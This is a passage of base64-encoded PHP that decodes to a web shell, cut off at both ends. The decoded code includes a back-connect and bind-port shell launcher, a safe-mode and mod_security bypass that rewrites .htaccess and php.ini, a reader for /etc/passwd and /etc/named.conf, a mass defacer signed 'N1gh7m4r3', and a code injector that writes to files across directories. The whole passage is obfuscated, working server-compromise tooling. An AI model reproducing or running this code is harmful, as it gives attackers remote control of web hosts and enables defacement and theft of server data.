2YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CiAgICA8YnIgLz48YnIgLz48c3Bhbj5CYWNrLUNvbm5lY3Rvcjwvc3Bhbj48YnIvPgogICAgU2VydmVyOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwnc2VydmVyXCcgdmFsdWU9IicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJyI+IFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gU2NyaXB0czogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JjY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYmNwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT48YnI+JzsgICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsKICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgaWYoJHcpICAgIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKCmZ1bmN0aW9uIGFjdGlvblJlYWRhYmxlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJlY3RvcmllczwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICAkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKICAgIGlmKCRzbSkgewogICAgICAgIGVjaG8gJzxiciAvPjxiPlsqXUVycm9yOiBTYWZlIE1vZGUgPSBvbjwvYj48YnIgLz48YnIgLz4nOwogICAgfSBlbHNlIHsKICAgICAgICBAJHBhc3N3ZCA9IGZpbGUoJy9ldGMvcGFzc3dkJywncicpOwogICAgICAgIGlmICghJHBhc3N3ZCkgeyAKICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+WypdIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwdWIgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOwogICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7CiAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgZm9yZWFjaCgkcGFzc3dkIGFzICRwKSB7CiAgICAgICAgICAgICAgICAkciA9IGV4cGxvZGUoJzonLCRwKTsKICAgICAgICAgICAgICAgICRkaXJ6ID0gJHJbNV0uJy9wdWJsaWNfaHRtbC8nOwogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR1c2VycywkclswXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgewogICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7CiAgICAgICAgICAgIGVjaG8gIlsjXSBGb3VuZCAiLnNpemVvZigkdXNlcnMpLiIgRW50cnlzIEluIC9ldGMvcGFzc3dkXG4iLiI8YnIgLz4iOwogICAgICAgICAgICBlY2hvICJbI10gRm91bmQgIi5zaXplb2YoJHB1YikuIiBSZWFkYWJsZSBwdWJsaWNfaHRtbCBEaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHB1YiBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIERvbmUhXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgJiYgTU9EIFNFQ1VSSVRZIERJU0FCTEVEICYmIElOVEVSTkFMIEVSUk9SIEJZUEFTUyB8PC9zcGFuPjwvaDM+Rm9sbG93aW5nIHBocC5pbmkgYW5kIC5odGFjY2Vzcyhtb2QpIGFuZCBwZXJsKC5odGFjY2VzcylbY29udmVydCBwZXJsIGV4dGVudGlvbiAqLnBsID0+ICouc2ggIF0gZmlsZXMgY3JlYXRlIGluIGZvbGxvd2luZyBkaXI8YnI+fCAiLiRHTE9CQUxTWydjd2QnXS4iIHw8YnI+PGJyIC8+IjsKICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhNb2QpIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCdzaFwnKSI+fCAuaHRhY2Nlc3MocGVybCkgfCA8L2E+PC9jZW50ZXI+JzsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmIGlzc2V0KCRfUE9TVFsncDInXSkpCiAgICB7CiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKICAgICAgICBmd3JpdGUoJGZpbCwnPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgogICAgICAgICAgICBTZWMtLS0tLS1FbmdpbmUgT2ZmCiAgICAgICAgICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZgogICAgICAgICAgICA8L0lmTW9kdWxlPicpOwogICAgICAgIGZjbG9zZSgkZmlsKTsKICAgfQogICBpZighZW1wdHkoJF9QT1NUWydwMSddKSYmIGlzc2V0KCRfUE9TVFsncDEnXSkpCiAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInciKTsKICAgICAgICBmd3JpdGUoJGZpbCwnc2FmZV9tb2RlPU9GRgogICAgICAgICAgICBkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICAgfQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDMnXSkgJiYgaXNzZXQoJF9QT1NUWydwMyddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJCiAgICAgICAgQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2gKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsCiAgICAgICAgQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcpOwogICAgICAgIGZjbG9zZSgkZmlsKTsgCiAgICB9CiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwogICAKfQoKZnVuY3Rpb24gYWN0aW9uRGVmYWNlKCkgewpwcmludEhlYWRlcigpOwplY2hvICI8aDE+TWFzcyBEZWZhY2VyIEJ5IE4xZ2g3bTRyMzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7Cj8+Cjxmb3JtIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD8kX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9UE9TVCBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLkNvbnRlbnRzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KPHAgYWxpZ249IkxlZnQiPkZvbGRlcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhdGggc2l6ZT02MCB2YWx1ZT0iPD89Z2V0Y3dkKCk7ID8+Ij4KPGJyPkZpbGUgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSBzaXplPTIwIHZhbHVlPSJpbmRleC5waHAiPgo8YnI+RGVmYWNlIDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPUNvbnRlbnRzIHNpemU9NzAgdmFsdWU9IllvdXIgRGVmYWNlIEluIFRleHQgRm9ybWF0Ij4gCjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkRlZmFjZSBub3ciPjwvcD48L2Zvcm0+Cgo8P3BocAppZiAoJF9QT1NUWydhJ10gPT0gJ0RlZmFjZScpIHsKJG1haW5wYXRoID0gJF9QT1NUW3AxXTsKJGZpbGUgPSAkX1BPU1RbcDJdOwokdHh0Q29udGVudHMgPSAkX1BPU1RbcDNdOwplY2hvICJNYXNzIERlZmFjZXIgYnkgTjFnaDdtNHIzIjsKJGRpciA9IG9wZW5kaXIoJG1haW5wYXRoKTsgLy9GaXggLS0gSWYgQ2FuJ3QgRGVmYWNlIFdoZW4gQ2hhbmdlIFRvIFdyaXRhYmxlIFBhdGguCndoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgewokc3RhcnQgPSBAZm9wZW4oIiRyb3cvJGZpbGUiLCAidysiKTsKJGNvZGUgPSAkdHh0Q29udGVudHM7CiRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOwppZiAoJGZpbmlzaCkgewplY2hvICIkcm93LyRmaWxlID5EZWZhY2VkITxicj48YnI+IjsKfQp9Cgp9CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkluamVjdG9yKCl7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkNvZGUgSW5qZWN0b3I8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgCiAgICBpZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIHsgJERTID0gIlxcIjsgfSBlbHNlIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIkxpbnV4IikpIHsgJERTID0gJy8nOyB9CiAgICBmdW5jdGlvbiBnZXRfc3RydWN0dXJlKCRwYXRoLCRkZXB0aCkgewogICAgICAgIGdsb2JhbCAkRFM7CiAgICAgICAgJHJlcyA9IGFycmF5KCk7CiAgICAgICAgaWYoaW5fYXJyYXkoMCwgJGRlcHRoKSkgeyAkcmVzW10gPSAkcGF0aDsgfQogICAgICAgIGlmKGluX2FycmF5KDEsICRkZXB0aCkgb3IgaW5fYXJyYXkoMiwgJGRlcHRoKSBvciBpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAxID0gZ2xvYigkcGF0aC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgIGlmKGluX2FycmF5KDEsICRkZXB0aCkpIHsgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsJHRtcDEpOyB9CiAgICAgICAgfQogICAgICAgIGlmKGluX2FycmF5KDIsICRkZXB0aCkgb3IgaW5fYXJyYXkoMywgJGRlcHRoKSkgewogICAgICAgICAgICAkdG1wMiA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJHRtcDEgYXMgJHQpewogICAgICAgICAgICAgICAgJHRwMiA9IGdsb2IoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOwogICAgICAgICAgICAgICAgJHRtcDIgPSBhcnJheV9tZXJnZSgkdG1wMiwgJHRwMik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoaW5fYXJyYXkoMiwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMik7IH0KICAgICAgICB9CiAgICAgICAgaWYoaW5fYXJyYXkoMywgJGRlcHRoKSkgewogICAgICAgICAgICAkdG1wMyA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJHRtcDIgYXMgJHQpewogICAgICAgICAgICAgICAgJHRwMyA9IGdsb2IoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOwogICAgICAgICAgICAgICAgJHRtcDMgPSBhcnJheV9tZXJnZSgkdG1wMywgJHRwMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsJHRtcDMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlczsKICAgIH0KCiAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSAmJiAkX1BPU1RbJ3N1Ym1pdCddPT0nSW5qZWN0JykgewogICAgICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ10gPyAkX1BPU1RbJ25hbWUnXSA6ICcqJzsKICAgICAgICAkdHlwZSA9ICRfUE9TVFsndHlwZSddID8gJF9QT1NUWyd0eXBlJ10gOiAnaHRtbCc7CiAgICAgICAgJHBhdGggPSAkX1BPU1RbJ3BhdGgnXSA/ICRfUE9TVFsncGF0aCddIDogZ2V0Y3dkKCk7CiAgICAgICAgJGNvZGUgPSAkX1BPU1RbJ2NvZGUnXSA/ICRfUE9TVFsnY29kZSddIDogJ1Bha2lzdGFuIEhheG9ycyBDcmV3JzsKICAgICAgICAkbW9kZSA9ICRfUE9TVFsnbW9kZSddID8gJF9QT1NUWydtb2RlJ10gOiAnYSc7CiAgICAgICAgJGRlcHRoID0gc2l6ZW9mKCRfUE9TVFsnZGVwdGgnXSkgPyAkX1BPU1RbJ2RlcHRoJ10gOiBhcnJheSgnMCcpOwogICAgICAgICRkdCA9IGdldF9zdHJ1Y3R1cmUoJHBhdGgsJGRlcHRoKTsKICAgICAgICBmb3JlYWNoICgkZHQgYXMgJGQpIHsKICAgICAgICAgICAgaWYoJG1vZGUgPT0gJ2EnKSB7CiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZSwgRklMRV9BUFBFTkQpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOmxpbWU7Ij5JbmplY3RlZDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQ7Ij5GYWlsZWQ8L3NwYW4+IDxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48L2Rpdj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYoZmlsZV9wdXRfY29udGVudHMoJGQuJERTLiRuYW1lLicuJy4kdHlwZSwgJGNvZGUpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOmxpbWU7Ij5JbmplY3RlZDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQ7Ij5GYWlsZWQ8L3NwYW4+IDxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48L2Rpdj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9ICAgICAgICAKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgPHRhYmxlIGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPkRpcmVjdG9yeSA6IDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgY2xhc3M9ImJveCIgbmFtZT0icGF0aCIgdmFsdWU9IicuZ2V0Y3dkKCkuJyIgc2l6ZT0iNTAiLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj5Nb2RlIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgbmFtZT0ibW9kZSIgY2xhc3M9ImJveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYSI+QXBlbmRlcjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InciPk92ZXJ3cml0ZXI8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj5GaWxlIE5hbWUgJiBUeXBlIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJuYW1lIiB2YWx1ZT0iKiIvPiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgbmFtZT0idHlwZSIgY2xhc3M9ImJveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJodG1sIj5IVE1MPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJodG0iPkhUTTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGhwIiBzZWxlY3RlZD0ic2VsZWN0ZWQiPlBIUDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNwIj5BU1A8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImFzcHgiPkFTUFg8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InhtbCI+WE1MPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ0eHQiPlRYVDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj5Db2RlIEluamVjdCBEZXB0aCA6IDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjAiIGNoZWNrZWQ9ImNoZWNrZWQiLz4mbmJzcDswJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIxIi8+Jm5ic3A7MSZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMiIvPiZuYnNwOzImbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjMiLz4mbmJzcDszCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4gICAgICAgIAogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPSI3MCIgcm93cz0iMTAiIGNsYXNzPSJib3giPjwvdGV4dGFyZWE+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJOMWdoN200cjMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9InBhZGRpbmcgOjVweDsgd2lkdGg6MTAwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkluamVjdCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC9mb3JtPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKCiBmdW5jdGlvbiBhY3Rpb25Eb21haW4oKSB7CiAgICBwcmludEhlYWRlcigpOwoKZWNobyAnPGgxPkxvY2FsIERvbWFpbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKJERvbWFpbl9wYXRoID0gIi92YXIvbmFtZWQiOwoKaWYgKCEkZmlsZSkgewokZG9tYWlucyA9IHNjYW5kaXIoJERvbWFpbl9wYXRoKTsKJGNvdW50PTE7CiRkYyA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+Cjx0cj48dGQgY29sc3Bhbj0yPlRoZXJlIGFyZSA6ICggPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+ICkgRG9tYWlucyBpbiB0aGlzIFNldmVyLiBJIENhbid0IHJlYWQgbmFtZWQuY29mIC4gRG9tYWlucyBhcmUgYnlwYXNzZWQgVGhvdWdoLjwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJiRkb21haW4pIHsKICAgIGlmIChzdHJpcG9zKCRkb21haW4sIi5kYiIpKSB7CiAgICAkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7CgogICAgfQogICAgaWYgKHN0cmxlbigkZG9tYWluKSA+IDYpIHsKICAgICAgICAKICAgICAgICBlY2hvICI8dHI+PHRkPiIuJGNvdW50KysuIjwvdGQ+PHRkPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKCgogICAgfQogICAgCiAgIH0gCiBlY2hvICI8L3RhYmxlPiI7Cn1lbHNlewogICAgICAgICRjb3VudCA9IDE7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS